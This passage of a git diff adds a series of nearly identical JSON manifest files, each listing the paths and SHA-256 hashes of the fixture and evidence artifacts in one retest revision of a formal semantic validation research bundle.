"51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "29.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v28.json", + "snapshot_sha256": "82d334c29f0d941b9e7033fef19604b5d157644069db2c23c2081bca68217a00" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v29.json b/docs/research/formal-semantic-validation/bundles/retest-v29.json new file mode 100644 index 000000000..2dd08b109 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v29.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v29.json", + "analysis_sha256": "f44407e1495dda25db17bbc5bba562cc5adc4c02300a042ca326b6f22dbdfc29", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "30.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v29.json", + "snapshot_sha256": "48c40b62edecb8704fb37d85ac8a00408c5ab75ebf6747a5d36d1af8b21d3b4a" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v30.json b/docs/research/formal-semantic-validation/bundles/retest-v30.json new file mode 100644 index 000000000..999421e34 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v30.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v30.json", + "analysis_sha256": "1845c493910ee5c1a6934012d6da0eab192e64c81e77659cba836612e5aa35f2", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "31.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v30.json", + "snapshot_sha256": "7b592254f6f8c73592f8dfe6b44c213a72e50a2b5d86241df88cccb411202448" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v31.json b/docs/research/formal-semantic-validation/bundles/retest-v31.json new file mode 100644 index 000000000..be65785ed --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v31.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v31.json", + "analysis_sha256": "234934f3570234c6fc58e1d371993f984e636a618db7762de68cfff40a30c5f4", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "32.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v31.json", + "snapshot_sha256": "aafdad64953e4a47a1516b4925de190f368ff6d0f8c5876fa287a519650261d3" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v32.json b/docs/research/formal-semantic-validation/bundles/retest-v32.json new file mode 100644 index 000000000..87e61530e --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v32.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v32.json", + "analysis_sha256": "224453428eb9d7019c3901f4ce53e2a0a3db23b9704dd4528ad6445e38efe5f7", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "33.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v32.json", + "snapshot_sha256": "39cba98aa01b4fbf67396d165afed45669faab8a6141ecf14bba7e77ccc38d0d" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v33.json b/docs/research/formal-semantic-validation/bundles/retest-v33.json new file mode 100644 index 000000000..ceca5b1db --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v33.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v33.json", + "analysis_sha256": "a4990720ce7e0a8c10d5b8e171e849524b509c058fe64b12834ccd1000a37af5", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": 